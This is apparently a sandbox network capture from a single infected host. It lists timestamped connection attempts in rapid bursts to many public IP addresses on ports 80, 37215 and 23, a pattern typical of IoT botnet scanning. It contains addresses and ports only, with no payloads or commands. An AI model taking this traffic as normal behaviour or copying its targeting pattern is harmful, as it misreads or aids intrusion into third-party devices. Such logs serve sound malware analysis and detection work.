Dec 3, 2024 21:30:52.819542885 CET	59010	80	192.168.2.23	193.181.166.53
Dec 3, 2024 21:30:52.819546938 CET	59010	80	192.168.2.23	93.152.33.156
Dec 3, 2024 21:30:52.819550991 CET	59010	80	192.168.2.23	66.100.231.172
Dec 3, 2024 21:30:52.819562912 CET	59010	80	192.168.2.23	116.251.237.164
Dec 3, 2024 21:30:52.819562912 CET	59010	80	192.168.2.23	126.70.167.225
Dec 3, 2024 21:30:52.819570065 CET	59010	80	192.168.2.23	64.229.117.237
Dec 3, 2024 21:30:52.819581032 CET	59010	80	192.168.2.23	107.172.218.239
Dec 3, 2024 21:30:52.819585085 CET	59010	80	192.168.2.23	93.139.72.207
Dec 3, 2024 21:30:52.819587946 CET	59010	80	192.168.2.23	168.235.244.73
Dec 3, 2024 21:30:52.819592953 CET	59010	80	192.168.2.23	14.213.40.183
Dec 3, 2024 21:30:52.819600105 CET	59010	80	192.168.2.23	157.132.178.12
Dec 3, 2024 21:30:52.819602013 CET	59010	80	192.168.2.23	134.151.157.83
Dec 3, 2024 21:30:52.819611073 CET	59010	80	192.168.2.23	9.52.230.66
Dec 3, 2024 21:30:52.819612026 CET	59010	80	192.168.2.23	40.44.49.97
Dec 3, 2024 21:30:52.819617033 CET	59010	80	192.168.2.23	12.212.102.97
Dec 3, 2024 21:30:52.819627047 CET	59010	80	192.168.2.23	52.94.77.177
Dec 3, 2024 21:30:52.819633007 CET	59010	80	192.168.2.23	124.123.99.107
Dec 3, 2024 21:30:52.819637060 CET	59010	80	192.168.2.23	168.129.73.66
Dec 3, 2024 21:30:52.819643974 CET	59010	80	192.168.2.23	78.233.173.158
Dec 3, 2024 21:30:52.819649935 CET	59010	80	192.168.2.23	96.53.164.127
Dec 3, 2024 21:30:52.819655895 CET	59010	80	192.168.2.23	46.114.172.78
Dec 3, 2024 21:30:52.819662094 CET	59010	80	192.168.2.23	210.73.230.20
Dec 3, 2024 21:30:52.819664001 CET	59010	80	192.168.2.23	122.114.251.86
Dec 3, 2024 21:30:52.819672108 CET	59010	80	192.168.2.23	96.142.229.129
Dec 3, 2024 21:30:52.819679976 CET	59010	80	192.168.2.23	24.75.47.120
Dec 3, 2024 21:30:52.819679976 CET	59010	80	192.168.2.23	178.160.219.45
Dec 3, 2024 21:30:52.819686890 CET	59010	80	192.168.2.23	146.116.159.219
Dec 3, 2024 21:30:52.819693089 CET	59010	80	192.168.2.23	89.49.195.174
Dec 3, 2024 21:30:52.819696903 CET	59010	80	192.168.2.23	27.31.53.41
Dec 3, 2024 21:30:52.819703102 CET	59010	80	192.168.2.23	146.224.165.132
Dec 3, 2024 21:30:52.819709063 CET	59010	80	192.168.2.23	108.64.178.122
Dec 3, 2024 21:30:52.819715977 CET	59010	80	192.168.2.23	105.251.184.56
Dec 3, 2024 21:30:52.819721937 CET	59010	80	192.168.2.23	85.99.83.36
Dec 3, 2024 21:30:52.819725037 CET	59010	80	192.168.2.23	136.145.149.0
Dec 3, 2024 21:30:52.819736004 CET	59010	80	192.168.2.23	61.151.77.25
Dec 3, 2024 21:30:52.819739103 CET	59010	80	192.168.2.23	46.86.230.111
Dec 3, 2024 21:30:52.819741011 CET	59010	80	192.168.2.23	102.126.36.179
Dec 3, 2024 21:30:52.819741011 CET	59010	80	192.168.2.23	40.235.107.184
Dec 3, 2024 21:30:52.819741011 CET	59010	80	192.168.2.23	69.130.129.186
Dec 3, 2024 21:30:52.819744110 CET	59010	80	192.168.2.23	168.21.54.230
Dec 3, 2024 21:30:52.819751978 CET	59010	80	192.168.2.23	93.37.38.157
Dec 3, 2024 21:30:52.819760084 CET	59010	80	192.168.2.23	87.86.76.147
Dec 3, 2024 21:30:52.819761992 CET	59010	80	192.168.2.23	12.159.53.254
Dec 3, 2024 21:30:52.819771051 CET	59010	80	192.168.2.23	17.131.250.8
Dec 3, 2024 21:30:52.819776058 CET	59010	80	192.168.2.23	87.174.181.168
Dec 3, 2024 21:30:52.819792986 CET	59010	80	192.168.2.23	114.104.141.117
Dec 3, 2024 21:30:52.819792986 CET	59010	80	192.168.2.23	196.217.217.184
Dec 3, 2024 21:30:52.819793940 CET	59010	80	192.168.2.23	41.9.48.181
Dec 3, 2024 21:30:52.819793940 CET	59010	80	192.168.2.23	150.112.85.108
Dec 3, 2024 21:30:52.819793940 CET	59010	80	192.168.2.23	157.19.153.144
Dec 3, 2024 21:30:52.819796085 CET	59010	80	192.168.2.23	110.130.70.207
Dec 3, 2024 21:30:52.819798946 CET	59010	80	192.168.2.23	188.15.79.158
Dec 3, 2024 21:30:52.819803953 CET	59010	80	192.168.2.23	180.225.62.70
Dec 3, 2024 21:30:52.819806099 CET	59010	80	192.168.2.23	39.29.129.25
Dec 3, 2024 21:30:52.819808960 CET	59010	80	192.168.2.23	196.226.243.233
Dec 3, 2024 21:30:52.819809914 CET	59010	80	192.168.2.23	185.217.67.1
Dec 3, 2024 21:30:52.819813013 CET	59010	80	192.168.2.23	151.206.56.138
Dec 3, 2024 21:30:52.819818020 CET	59010	80	192.168.2.23	203.151.195.233
Dec 3, 2024 21:30:52.819825888 CET	59010	80	192.168.2.23	206.163.20.22
Dec 3, 2024 21:30:52.819830894 CET	59010	80	192.168.2.23	197.209.95.51
Dec 3, 2024 21:30:52.819839001 CET	59010	80	192.168.2.23	112.143.7.200
Dec 3, 2024 21:30:52.819840908 CET	59010	80	192.168.2.23	177.52.106.253
Dec 3, 2024 21:30:52.819853067 CET	59010	80	192.168.2.23	86.227.227.57
Dec 3, 2024 21:30:52.819856882 CET	59010	80	192.168.2.23	8.91.188.145
Dec 3, 2024 21:30:52.819861889 CET	59010	80	192.168.2.23	180.173.182.4
Dec 3, 2024 21:30:52.820133924 CET	34140	80	192.168.2.23	98.198.136.78
Dec 3, 2024 21:30:52.820600033 CET	38450	80	192.168.2.23	154.178.4.253
Dec 3, 2024 21:30:52.821057081 CET	55678	80	192.168.2.23	92.63.31.164
Dec 3, 2024 21:30:52.821508884 CET	36386	80	192.168.2.23	31.176.182.130
Dec 3, 2024 21:30:52.821980000 CET	54978	80	192.168.2.23	61.10.160.29
Dec 3, 2024 21:30:52.822443962 CET	58276	80	192.168.2.23	167.17.65.142
Dec 3, 2024 21:30:52.822911024 CET	42508	80	192.168.2.23	87.213.185.178
Dec 3, 2024 21:30:52.823375940 CET	41032	80	192.168.2.23	44.173.181.207
Dec 3, 2024 21:30:52.823836088 CET	43374	80	192.168.2.23	134.190.6.30
Dec 3, 2024 21:30:52.824309111 CET	45066	80	192.168.2.23	174.188.142.142
Dec 3, 2024 21:30:52.824758053 CET	34144	80	192.168.2.23	40.164.129.252
Dec 3, 2024 21:30:52.825205088 CET	45424	80	192.168.2.23	130.217.80.160
Dec 3, 2024 21:30:52.825665951 CET	50916	80	192.168.2.23	64.64.206.110
Dec 3, 2024 21:30:52.826112986 CET	56048	80	192.168.2.23	171.119.137.116
Dec 3, 2024 21:30:52.826570034 CET	53800	80	192.168.2.23	91.222.101.204
Dec 3, 2024 21:30:52.827025890 CET	60530	80	192.168.2.23	41.60.28.34
Dec 3, 2024 21:30:52.827491045 CET	40888	80	192.168.2.23	18.149.183.76
Dec 3, 2024 21:30:52.827951908 CET	44494	80	192.168.2.23	2.12.34.251
Dec 3, 2024 21:30:52.828421116 CET	58836	80	192.168.2.23	106.190.131.163
Dec 3, 2024 21:30:52.828872919 CET	44486	80	192.168.2.23	223.158.92.56
Dec 3, 2024 21:30:52.829332113 CET	39006	80	192.168.2.23	157.84.156.237
Dec 3, 2024 21:30:52.829781055 CET	39156	80	192.168.2.23	171.122.203.201
Dec 3, 2024 21:30:52.830240011 CET	52992	80	192.168.2.23	123.104.76.242
Dec 3, 2024 21:30:52.830704927 CET	48982	80	192.168.2.23	212.208.47.65
Dec 3, 2024 21:30:52.831149101 CET	39140	80	192.168.2.23	27.250.38.90
Dec 3, 2024 21:30:52.831613064 CET	42668	80	192.168.2.23	83.242.246.47
Dec 3, 2024 21:30:52.832063913 CET	39412	80	192.168.2.23	31.140.158.101
Dec 3, 2024 21:30:52.832515955 CET	40944	80	192.168.2.23	122.91.92.183
Dec 3, 2024 21:30:52.832974911 CET	45796	80	192.168.2.23	20.90.151.4
Dec 3, 2024 21:30:52.833431959 CET	34482	80	192.168.2.23	128.5.9.145
Dec 3, 2024 21:30:52.833888054 CET	35640	80	192.168.2.23	91.177.96.233
Dec 3, 2024 21:30:52.834326982 CET	41088	80	192.168.2.23	163.9.31.130
Dec 3, 2024 21:30:52.834779024 CET	34176	80	192.168.2.23	200.1.115.254
Dec 3, 2024 21:30:52.839994907 CET	37215	50154	41.199.201.42	192.168.2.23
Dec 3, 2024 21:30:52.840039968 CET	37215	47284	197.151.230.241	192.168.2.23
Dec 3, 2024 21:30:52.840049982 CET	37215	54516	156.254.151.42	192.168.2.23
Dec 3, 2024 21:30:52.840075016 CET	37215	45220	197.67.52.122	192.168.2.23
Dec 3, 2024 21:30:52.840082884 CET	37215	42854	156.183.73.216	192.168.2.23
Dec 3, 2024 21:30:52.914174080 CET	37215	59009	197.15.161.4	192.168.2.23
Dec 3, 2024 21:30:52.914186001 CET	37215	59009	41.3.15.57	192.168.2.23
Dec 3, 2024 21:30:52.914195061 CET	37215	59009	197.43.122.176	192.168.2.23
Dec 3, 2024 21:30:52.914222002 CET	37215	59009	156.59.9.118	192.168.2.23
Dec 3, 2024 21:30:52.914232016 CET	37215	59009	41.219.50.228	192.168.2.23
Dec 3, 2024 21:30:52.914241076 CET	37215	59009	156.254.126.32	192.168.2.23
Dec 3, 2024 21:30:52.914257050 CET	37215	59009	197.51.31.254	192.168.2.23
Dec 3, 2024 21:30:52.914273977 CET	37215	59009	41.70.66.2	192.168.2.23
Dec 3, 2024 21:30:52.914293051 CET	59009	37215	192.168.2.23	197.15.161.4
Dec 3, 2024 21:30:52.914295912 CET	37215	59009	197.83.38.13	192.168.2.23
Dec 3, 2024 21:30:52.914292097 CET	59009	37215	192.168.2.23	41.3.15.57
Dec 3, 2024 21:30:52.914292097 CET	59009	37215	192.168.2.23	197.43.122.176
Dec 3, 2024 21:30:52.914304972 CET	59009	37215	192.168.2.23	197.51.31.254
Dec 3, 2024 21:30:52.914304972 CET	59009	37215	192.168.2.23	156.254.126.32
Dec 3, 2024 21:30:52.914313078 CET	59009	37215	192.168.2.23	156.59.9.118
Dec 3, 2024 21:30:52.914314032 CET	59009	37215	192.168.2.23	41.219.50.228
Dec 3, 2024 21:30:52.914321899 CET	37215	59009	197.128.212.135	192.168.2.23
Dec 3, 2024 21:30:52.914326906 CET	59009	37215	192.168.2.23	41.70.66.2
Dec 3, 2024 21:30:52.914331913 CET	59009	37215	192.168.2.23	197.83.38.13
Dec 3, 2024 21:30:52.914351940 CET	37215	59009	197.167.229.90	192.168.2.23
Dec 3, 2024 21:30:52.914366007 CET	59009	37215	192.168.2.23	197.128.212.135
Dec 3, 2024 21:30:52.914381981 CET	37215	42866	156.183.73.216	192.168.2.23
Dec 3, 2024 21:30:52.914392948 CET	59009	37215	192.168.2.23	197.167.229.90
Dec 3, 2024 21:30:52.914439917 CET	42866	37215	192.168.2.23	156.183.73.216
Dec 3, 2024 21:30:52.914452076 CET	37215	59009	197.227.180.97	192.168.2.23
Dec 3, 2024 21:30:52.914474964 CET	37215	59009	41.31.201.175	192.168.2.23
Dec 3, 2024 21:30:52.914484024 CET	37215	59009	197.105.179.44	192.168.2.23
Dec 3, 2024 21:30:52.914495945 CET	59009	37215	192.168.2.23	197.227.180.97
Dec 3, 2024 21:30:52.914500952 CET	37215	59009	197.100.237.127	192.168.2.23
Dec 3, 2024 21:30:52.914510965 CET	37215	59009	41.0.136.234	192.168.2.23
Dec 3, 2024 21:30:52.914515972 CET	59009	37215	192.168.2.23	41.31.201.175
Dec 3, 2024 21:30:52.914516926 CET	59009	37215	192.168.2.23	197.105.179.44
Dec 3, 2024 21:30:52.914541006 CET	59009	37215	192.168.2.23	41.0.136.234
Dec 3, 2024 21:30:52.914546967 CET	59009	37215	192.168.2.23	197.100.237.127
Dec 3, 2024 21:30:52.914611101 CET	37215	59009	156.12.161.67	192.168.2.23
Dec 3, 2024 21:30:52.914628029 CET	37215	59009	41.9.144.178	192.168.2.23
Dec 3, 2024 21:30:52.914654970 CET	59009	37215	192.168.2.23	156.12.161.67
Dec 3, 2024 21:30:52.914670944 CET	59009	37215	192.168.2.23	41.9.144.178
Dec 3, 2024 21:30:52.914681911 CET	37215	59009	156.59.140.117	192.168.2.23
Dec 3, 2024 21:30:52.914727926 CET	59009	37215	192.168.2.23	156.59.140.117
Dec 3, 2024 21:30:52.914732933 CET	37215	59009	197.91.136.251	192.168.2.23
Dec 3, 2024 21:30:52.914750099 CET	37215	59009	197.48.137.250	192.168.2.23
Dec 3, 2024 21:30:52.914758921 CET	37215	59009	156.82.134.172	192.168.2.23
Dec 3, 2024 21:30:52.914772987 CET	59009	37215	192.168.2.23	197.91.136.251
Dec 3, 2024 21:30:52.914781094 CET	59009	37215	192.168.2.23	197.48.137.250
Dec 3, 2024 21:30:52.914792061 CET	59009	37215	192.168.2.23	156.82.134.172
Dec 3, 2024 21:30:52.915438890 CET	37215	45232	197.67.52.122	192.168.2.23
Dec 3, 2024 21:30:52.915484905 CET	45232	37215	192.168.2.23	197.67.52.122
Dec 3, 2024 21:30:52.915508032 CET	37215	54528	156.254.151.42	192.168.2.23
Dec 3, 2024 21:30:52.915517092 CET	37215	47296	197.151.230.241	192.168.2.23
Dec 3, 2024 21:30:52.915549040 CET	54528	37215	192.168.2.23	156.254.151.42
Dec 3, 2024 21:30:52.915556908 CET	47296	37215	192.168.2.23	197.151.230.241
Dec 3, 2024 21:30:52.915719032 CET	37215	50166	41.199.201.42	192.168.2.23
Dec 3, 2024 21:30:52.915760994 CET	50166	37215	192.168.2.23	41.199.201.42
Dec 3, 2024 21:30:52.920085907 CET	23	37310	8.14.63.183	192.168.2.23
Dec 3, 2024 21:30:52.920253038 CET	23	37476	8.14.63.183	192.168.2.23
Dec 3, 2024 21:30:52.920305014 CET	37476	23	192.168.2.23	8.14.63.183
Dec 3, 2024 21:30:52.938179970 CET	80	59010	38.185.77.8	192.168.2.23
Dec 3, 2024 21:30:52.938225985 CET	59010	80	192.168.2.23	38.185.77.8
Dec 3, 2024 21:30:52.939291000 CET	80	59010	97.60.74.150	192.168.2.23
Dec 3, 2024 21:30:52.939344883 CET	59010	80	192.168.2.23	97.60.74.150
Dec 3, 2024 21:30:52.951611042 CET	80	42668	83.242.246.47	192.168.2.23
Dec 3, 2024 21:30:52.951674938 CET	42668	80	192.168.2.23	83.242.246.47
Dec 3, 2024 21:30:52.952152014 CET	47940	80	192.168.2.23	38.185.77.8
Dec 3, 2024 21:30:52.952668905 CET	49280	80	192.168.2.23	97.60.74.150
Dec 3, 2024 21:30:52.953035116 CET	42668	80	192.168.2.23	83.242.246.47
Dec 3, 2024 21:30:52.953035116 CET	42668	80	192.168.2.23	83.242.246.47
Dec 3, 2024 21:30:52.953278065 CET	42688	80	192.168.2.23	83.242.246.47
Dec 3, 2024 21:30:53.072187901 CET	80	47940	38.185.77.8	192.168.2.23
Dec 3, 2024 21:30:53.072257996 CET	47940	80	192.168.2.23	38.185.77.8
Dec 3, 2024 21:30:53.072312117 CET	47940	80	192.168.2.23	38.185.77.8
Dec 3, 2024 21:30:53.072312117 CET	47940	80	192.168.2.23	38.185.77.8
Dec 3, 2024 21:30:53.072551966 CET	80	49280	97.60.74.150	192.168.2.23
Dec 3, 2024 21:30:53.072591066 CET	49280	80	192.168.2.23	97.60.74.150
Dec 3, 2024 21:30:53.072633982 CET	47946	80	192.168.2.23	38.185.77.8
Dec 3, 2024 21:30:53.072967052 CET	49280	80	192.168.2.23	97.60.74.150
Dec 3, 2024 21:30:53.072967052 CET	49280	80	192.168.2.23	97.60.74.150
Dec 3, 2024 21:30:53.073221922 CET	49286	80	192.168.2.23	97.60.74.150
Dec 3, 2024 21:30:53.073240995 CET	80	42668	83.242.246.47	192.168.2.23
Dec 3, 2024 21:30:53.073283911 CET	80	42688	83.242.246.47	192.168.2.23
Dec 3, 2024 21:30:53.073334932 CET	42688	80	192.168.2.23	83.242.246.47
Dec 3, 2024 21:30:53.073565960 CET	42688	80	192.168.2.23	83.242.246.47
Dec 3, 2024 21:30:53.120009899 CET	80	42668	83.242.246.47	192.168.2.23
Dec 3, 2024 21:30:53.192223072 CET	80	47940	38.185.77.8	192.168.2.23
Dec 3, 2024 21:30:53.192534924 CET	80	47946	38.185.77.8	192.168.2.23
Dec 3, 2024 21:30:53.192657948 CET	47946	80	192.168.2.23	38.185.77.8
Dec 3, 2024 21:30:53.192678928 CET	47946	80	192.168.2.23	38.185.77.8
Dec 3, 2024 21:30:53.192838907 CET	80	49280	97.60.74.150	192.168.2.23
Dec 3, 2024 21:30:53.193090916 CET	80	49286	97.60.74.150	192.168.2.23
Dec 3, 2024 21:30:53.193166018 CET	49286	80	192.168.2.23	97.60.74.150
Dec 3, 2024 21:30:53.193178892 CET	49286	80	192.168.2.23	97.60.74.150
Dec 3, 2024 21:30:53.193763018 CET	80	42688	83.242.246.47	192.168.2.23
Dec 3, 2024 21:30:53.193845034 CET	42688	80	192.168.2.23	83.242.246.47
Dec 3, 2024 21:30:53.240151882 CET	80	49280	97.60.74.150	192.168.2.23
Dec 3, 2024 21:30:53.240204096 CET	80	47940	38.185.77.8	192.168.2.23
Dec 3, 2024 21:30:53.313271046 CET	80	47946	38.185.77.8	192.168.2.23
Dec 3, 2024 21:30:53.313425064 CET	47946	80	192.168.2.23	38.185.77.8
Dec 3, 2024 21:30:53.313678980 CET	80	49286	97.60.74.150	192.168.2.23
Dec 3, 2024 21:30:53.313730955 CET	49286	80	192.168.2.23	97.60.74.150
Dec 3, 2024 21:30:53.331111908 CET	44038	80	192.168.2.23	223.118.93.51
Dec 3, 2024 21:30:53.331123114 CET	38530	80	192.168.2.23	198.186.23.221
Dec 3, 2024 21:30:53.331123114 CET	41228	80	192.168.2.23	141.173.180.9
Dec 3, 2024 21:30:53.331123114 CET	58606	80	192.168.2.23	199.155.1.164
Dec 3, 2024 21:30:53.331123114 CET	40228	80	192.168.2.23	62.96.206.43
Dec 3, 2024 21:30:53.331129074 CET	44734	80	192.168.2.23	32.198.110.33
Dec 3, 2024 21:30:53.331127882 CET	42496	80	192.168.2.23	8.105.165.198
Dec 3, 2024 21:30:53.331127882 CET	54610	80	192.168.2.23	93.194.223.82
Dec 3, 2024 21:30:53.363185883 CET	40078	80	192.168.2.23	150.63.45.186
Dec 3, 2024 21:30:53.363187075 CET	58770	80	192.168.2.23	71.187.196.149
Dec 3, 2024 21:30:53.363188982 CET	56370	80	192.168.2.23	119.211.146.165
Dec 3, 2024 21:30:53.363188982 CET	44452	80	192.168.2.23	207.88.49.48
Dec 3, 2024 21:30:53.363188982 CET	49486	80	192.168.2.23	168.79.240.244
Dec 3, 2024 21:30:53.363208055 CET	56386	80	192.168.2.23	116.150.62.104
Dec 3, 2024 21:30:53.363207102 CET	32904	80	192.168.2.23	143.141.87.96
Dec 3, 2024 21:30:53.363208055 CET	37706	80	192.168.2.23	61.41.15.72
Dec 3, 2024 21:30:53.363209009 CET	49444	80	192.168.2.23	172.153.131.92
Dec 3, 2024 21:30:53.363207102 CET	34682	80	192.168.2.23	68.81.161.145
Dec 3, 2024 21:30:53.363207102 CET	41918	80	192.168.2.23	69.255.176.9
Dec 3, 2024 21:30:53.363209009 CET	36674	80	192.168.2.23	185.96.7.190
Dec 3, 2024 21:30:53.363207102 CET	44420	80	192.168.2.23	79.74.148.82
Dec 3, 2024 21:30:53.363207102 CET	33000	80	192.168.2.23	223.111.24.66
Dec 3, 2024 21:30:53.363207102 CET	33554	80	192.168.2.23	183.134.212.93
Dec 3, 2024 21:30:53.363224983 CET	34842	80	192.168.2.23	147.179.254.202
Dec 3, 2024 21:30:53.363260031 CET	45012	80	192.168.2.23	52.117.45.194
Dec 3, 2024 21:30:53.451057911 CET	80	44038	223.118.93.51	192.168.2.23
Dec 3, 2024 21:30:53.451222897 CET	44038	80	192.168.2.23	223.118.93.51
Dec 3, 2024 21:30:53.451299906 CET	44038	80	192.168.2.23	223.118.93.51
Dec 3, 2024 21:30:53.451299906 CET	44038	80	192.168.2.23	223.118.93.51
Dec 3, 2024 21:30:53.451329947 CET	80	38530	198.186.23.221	192.168.2.23
Dec 3, 2024 21:30:53.451375961 CET	80	42496	8.105.165.198	192.168.2.23
Dec 3, 2024 21:30:53.451405048 CET	80	54610	93.194.223.82	192.168.2.23
Dec 3, 2024 21:30:53.451416969 CET	80	44734	32.198.110.33	192.168.2.23
Dec 3, 2024 21:30:53.451443911 CET	38530	80	192.168.2.23	198.186.23.221
Dec 3, 2024 21:30:53.451462030 CET	44734	80	192.168.2.23	32.198.110.33
Dec 3, 2024 21:30:53.451471090 CET	80	41228	141.173.180.9	192.168.2.23
Dec 3, 2024 21:30:53.451478958 CET	42496	80	192.168.2.23	8.105.165.198
Dec 3, 2024 21:30:53.451507092 CET	54610	80	192.168.2.23	93.194.223.82
Dec 3, 2024 21:30:53.451518059 CET	41228	80	192.168.2.23	141.173.180.9
Dec 3, 2024 21:30:53.451520920 CET	80	58606	199.155.1.164	192.168.2.23
Dec 3, 2024 21:30:53.451543093 CET	80	40228	62.96.206.43	192.168.2.23
Dec 3, 2024 21:30:53.451553106 CET	58606	80	192.168.2.23	199.155.1.164
Dec 3, 2024 21:30:53.451575994 CET	40228	80	192.168.2.23	62.96.206.43
Dec 3, 2024 21:30:53.451735973 CET	44452	80	192.168.2.23	223.118.93.51
Dec 3, 2024 21:30:53.452069044 CET	41228	80	192.168.2.23	141.173.180.9
Dec 3, 2024 21:30:53.452080011 CET	42496	80	192.168.2.23	8.105.165.198
Dec 3, 2024 21:30:53.452085972 CET	44734	80	192.168.2.23	32.198.110.33
Dec 3, 2024 21:30:53.452094078 CET	54610	80	192.168.2.23	93.194.223.82
Dec 3, 2024 21:30:53.452099085 CET	58606	80	192.168.2.23	199.155.1.164
Dec 3, 2024 21:30:53.452109098 CET	40228	80	192.168.2.23	62.96.206.43
Dec 3, 2024 21:30:53.452135086 CET	38530	80	192.168.2.23	198.186.23.221
Dec 3, 2024 21:30:53.452135086 CET	38530	80	192.168.2.23	198.186.23.221
Dec 3, 2024 21:30:53.452400923 CET	38942	80	192.168.2.23	198.186.23.221
Dec 3, 2024 21:30:53.459050894 CET	53874	37215	192.168.2.23	156.248.22.235
Dec 3, 2024 21:30:53.459057093 CET	58256	37215	192.168.2.23	197.35.188.58
Dec 3, 2024 21:30:53.459064960 CET	55122	37215	192.168.2.23	156.63.118.237
Dec 3, 2024 21:30:53.459067106 CET	45114	37215	192.168.2.23	41.78.79.219
Dec 3, 2024 21:30:53.459074020 CET	49930	37215	192.168.2.23	41.218.18.192
Dec 3, 2024 21:30:53.459074974 CET	41162	37215	192.168.2.23	41.100.82.80
Dec 3, 2024 21:30:53.459074974 CET	35550	37215	192.168.2.23	197.108.27.186
Dec 3, 2024 21:30:53.459074974 CET	49506	37215	192.168.2.23	156.180.71.22
Dec 3, 2024 21:30:53.459074974 CET	38116	37215	192.168.2.23	41.41.62.85
Dec 3, 2024 21:30:53.459084034 CET	47738	37215	192.168.2.23	156.82.100.7
Dec 3, 2024 21:30:53.459088087 CET	56122	37215	192.168.2.23	41.97.116.95
Dec 3, 2024 21:30:53.459088087 CET	38830	37215	192.168.2.23	156.124.6.20
Dec 3, 2024 21:30:53.459089994 CET	55200	37215	192.168.2.23	197.20.1.232
Dec 3, 2024 21:30:53.459089994 CET	48944	37215	192.168.2.23	156.254.240.189
Dec 3, 2024 21:30:53.459093094 CET	47444	37215	192.168.2.23	156.145.198.116
Dec 3, 2024 21:30:53.459093094 CET	35788	37215	192.168.2.23	156.190.237.45
Dec 3, 2024 21:30:53.459093094 CET	33718	37215	192.168.2.23	41.132.216.164
Dec 3, 2024 21:30:53.459098101 CET	59270	37215	192.168.2.23	156.209.214.149
Dec 3, 2024 21:30:53.459099054 CET	35542	37215	192.168.2.23	197.142.116.145
Dec 3, 2024 21:30:53.459099054 CET	40660	37215	192.168.2.23	197.2.94.37
Dec 3, 2024 21:30:53.459100008 CET	53224	37215	192.168.2.23	197.101.2.157
Dec 3, 2024 21:30:53.459103107 CET	38716	37215	192.168.2.23	156.6.99.220
Dec 3, 2024 21:30:53.459110975 CET	60396	37215	192.168.2.23	197.54.174.254
Dec 3, 2024 21:30:53.459111929 CET	53934	37215	192.168.2.23	41.242.244.42
Dec 3, 2024 21:30:53.459119081 CET	52658	37215	192.168.2.23	197.156.1.181
Dec 3, 2024 21:30:53.459119081 CET	36702	37215	192.168.2.23	156.144.159.185
Dec 3, 2024 21:30:53.459131956 CET	49972	37215	192.168.2.23	197.4.155.165
Dec 3, 2024 21:30:53.459139109 CET	60612	37215	192.168.2.23	156.178.53.95
Dec 3, 2024 21:30:53.483572960 CET	80	40078	150.63.45.186	192.168.2.23
Dec 3, 2024 21:30:53.483609915 CET	80	56386	116.150.62.104	192.168.2.23
Dec 3, 2024 21:30:53.483669996 CET	80	37706	61.41.15.72	192.168.2.23
Dec 3, 2024 21:30:53.483680010 CET	80	58770	71.187.196.149	192.168.2.23
Dec 3, 2024 21:30:53.483692884 CET	40078	80	192.168.2.23	150.63.45.186
Dec 3, 2024 21:30:53.483694077 CET	56386	80	192.168.2.23	116.150.62.104
Dec 3, 2024 21:30:53.483695030 CET	80	34842	147.179.254.202	192.168.2.23
Dec 3, 2024 21:30:53.483706951 CET	40078	80	192.168.2.23	150.63.45.186
Dec 3, 2024 21:30:53.483706951 CET	37706	80	192.168.2.23	61.41.15.72
Dec 3, 2024 21:30:53.483711958 CET	80	56370	119.211.146.165	192.168.2.23
Dec 3, 2024 21:30:53.483716011 CET	56386	80	192.168.2.23	116.150.62.104
Dec 3, 2024 21:30:53.483717918 CET	58770	80	192.168.2.23	71.187.196.149
Dec 3, 2024 21:30:53.483722925 CET	80	49444	172.153.131.92	192.168.2.23
Dec 3, 2024 21:30:53.483730078 CET	34842	80	192.168.2.23	147.179.254.202
Dec 3, 2024 21:30:53.483735085 CET	80	33000	223.111.24.66	192.168.2.23
Dec 3, 2024 21:30:53.483740091 CET	37706	80	192.168.2.23	61.41.15.72
Dec 3, 2024 21:30:53.483753920 CET	80	32904	143.141.87.96	192.168.2.23
Dec 3, 2024 21:30:53.483760118 CET	49444	80	192.168.2.23	172.153.131.92
Dec 3, 2024 21:30:53.483763933 CET	80	36674	185.96.7.190	192.168.2.23
Dec 3, 2024 21:30:53.483788013 CET	80	34682	68.81.161.145	192.168.2.23
Dec 3, 2024 21:30:53.483798027 CET	80	41918	69.255.176.9	192.168.2.23
Dec 3, 2024 21:30:53.483803988 CET	32904	80	192.168.2.23	143.141.87.96
Dec 3, 2024 21:30:53.483804941 CET	33000	80	192.168.2.23	223.111.24.66
Dec 3, 2024 21:30:53.483805895 CET	56370	80	192.168.2.23	119.211.146.165
Dec 3, 2024 21:30:53.483808041 CET	58770	80	192.168.2.23	71.187.196.149
Dec 3, 2024 21:30:53.483817101 CET	49444	80	192.168.2.23	172.153.131.92
Dec 3, 2024 21:30:53.483817101 CET	36674	80	192.168.2.23	185.96.7.190
Dec 3, 2024 21:30:53.483819962 CET	32904	80	192.168.2.23	143.141.87.96
Dec 3, 2024 21:30:53.483819962 CET	34682	80	192.168.2.23	68.81.161.145
Dec 3, 2024 21:30:53.483819962 CET	41918	80	192.168.2.23	69.255.176.9
Dec 3, 2024 21:30:53.483830929 CET	80	44420	79.74.148.82	192.168.2.23
Dec 3, 2024 21:30:53.483833075 CET	34842	80	192.168.2.23	147.179.254.202
Dec 3, 2024 21:30:53.483838081 CET	33000	80	192.168.2.23	223.111.24.66
Dec 3, 2024 21:30:53.483859062 CET	56370	80	192.168.2.23	119.211.146.165
Dec 3, 2024 21:30:53.483866930 CET	44420	80	192.168.2.23	79.74.148.82
Dec 3, 2024 21:30:53.483869076 CET	36674	80	192.168.2.23	185.96.7.190
Dec 3, 2024 21:30:53.483887911 CET	41918	80	192.168.2.23	69.255.176.9
Dec 3, 2024 21:30:53.483887911 CET	34682	80	192.168.2.23	68.81.161.145
Dec 3, 2024 21:30:53.483913898 CET	44420	80	192.168.2.23	79.74.148.82
Dec 3, 2024 21:30:53.483922958 CET	80	44452	207.88.49.48	192.168.2.23
Dec 3, 2024 21:30:53.483933926 CET	80	33554	183.134.212.93	192.168.2.23
Dec 3, 2024 21:30:53.483964920 CET	44452	80	192.168.2.23	207.88.49.48
Dec 3, 2024 21:30:53.483964920 CET	80	49486	168.79.240.244	192.168.2.23
Dec 3, 2024 21:30:53.483973026 CET	44452	80	192.168.2.23	207.88.49.48
Dec 3, 2024 21:30:53.483980894 CET	33554	80	192.168.2.23	183.134.212.93
Dec 3, 2024 21:30:53.484009027 CET	49486	80	192.168.2.23	168.79.240.244
Dec 3, 2024 21:30:53.484009027 CET	49486	80	192.168.2.23	168.79.240.244
Dec 3, 2024 21:30:53.484014034 CET	80	45012	52.117.45.194	192.168.2.23
Dec 3, 2024 21:30:53.484014034 CET	33554	80	192.168.2.23	183.134.212.93
Dec 3, 2024 21:30:53.484050035 CET	45012	80	192.168.2.23	52.117.45.194
Dec 3, 2024 21:30:53.484062910 CET	45012	80	192.168.2.23	52.117.45.194
Dec 3, 2024 21:30:53.491034031 CET	38596	37215	192.168.2.23	156.49.47.44
Dec 3, 2024 21:30:53.532982111 CET	23	35260	59.1.73.169	192.168.2.23
Dec 3, 2024 21:30:53.533160925 CET	35260	23	192.168.2.23	59.1.73.169
Dec 3, 2024 21:30:53.533627987 CET	35520	23	192.168.2.23	59.1.73.169
